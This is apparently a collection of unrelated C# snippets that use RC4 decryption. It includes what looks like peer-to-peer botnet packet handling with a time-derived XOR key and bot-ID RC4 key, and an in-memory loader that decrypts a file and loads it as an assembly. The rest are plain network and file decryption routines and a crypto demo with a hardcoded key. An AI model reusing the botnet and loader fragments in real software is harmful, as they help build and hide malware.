private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e) { var data = e.Payload; var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(data); var rc4 = new Rc4(_botId.ToByteArray()); rc4.Decrypt(data); var botHeader = BotHeader.Decode(data); if (!IsValidHeader(botHeader)) { _peerList.Punish(botHeader.BotId); return; } botHeader.EndPoint = e.Proto; _peerList.UpdatePeer(botHeader.BotId); Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data)); }
private Assembly LoadPE(string filePath) { var fileStr = File.ReadAllText(filePath); var xKey = Encoding.ASCII.GetBytes(_p); var hexadecimal = Zipper.Decompress(fileStr); var contentEncrypted = StringHexToByteArray.Convert(hexadecimal); var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted); var pe = Assembly.Load(contentDecrypted); return(pe); }
protected override void OnReceived(byte[] data) { if (_rc4 == null) { HandleRsaPacket(data); return; } var tmpBuffer = new byte[data.Length - 1]; Buffer.BlockCopy(data, 1, tmpBuffer, 0, data.Length - 1); _rc4.Decrypt(ref tmpBuffer); var x = new byte[tmpBuffer.Length - 3]; Buffer.BlockCopy(tmpBuffer, 3, x, 0, x.Length); base.OnReceived(x); }
protected override void OnReceived(byte[] data) { _rc4.Decrypt(data, 1, data.Length - 1); var dataOffset = 4; var compressionLevel = data[0]; if (compressionLevel == 2) { data = GZip.Decompress(data, 5); dataOffset--; } var messageText = Encoding.UTF8.GetString(data, dataOffset, data.Length - dataOffset); OnReceived(messageText); base.OnReceived(data); }
private Content GetEncryptedFileContent(string filePath, out byte[] decrypted) { var fileStr = File.ReadAllText(filePath); var xKey = Encoding.ASCII.GetBytes(_p); var hexadecimal = Zipper.Decompress(fileStr); var contentEncrypted = StringHexToByteArray.Convert(hexadecimal); var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted); decrypted = contentDecrypted; var contentEncoded = Encoding.UTF8.GetString(contentDecrypted); try { var final = JsonConvert.DeserializeObject <Content>(contentEncoded); return(final); } catch { return(null); } }
private static void 加密解密测试() { Console.WriteLine("--------加密解密测试---------"); string key, pwd; key = KeyGen.GenerateRandomKey(); key = KeyGen.GenerateAesKey(); key = KeyGen.GenerateDesKey(); key = KeyGen.GenerateTeaKey(); key = "_elong.tech@2020_"; // 自己指定Key pwd = "hello12345你好"; var p1 = Aes.Encrypt(pwd, key); var p2 = Aes.Decrypt(p1, key); Console.WriteLine($"Aes加密: {p1}, Aes解密: {p2}"); var p3 = Rc4.Encrypt(pwd, key); var p4 = Rc4.Decrypt(p3, key); Console.WriteLine($"Rc4加密: {p3}, Rc4解密: {p4}"); var p5 = Des.Encrypt(pwd, key); var p6 = Des.Decrypt(p5, key); Console.WriteLine($"Des加密: {p5}, Des解密:{p6}"); var p7 = Tea.Encrypt(pwd, key); var p8 = Tea.Decrypt(p7, key); Console.WriteLine($"Tea加密: {p7}, Tea解密: {p8}"); var p9 = Hash.Md5(pwd); Console.WriteLine($"MD5哈希: {p9}"); Console.WriteLine(""); }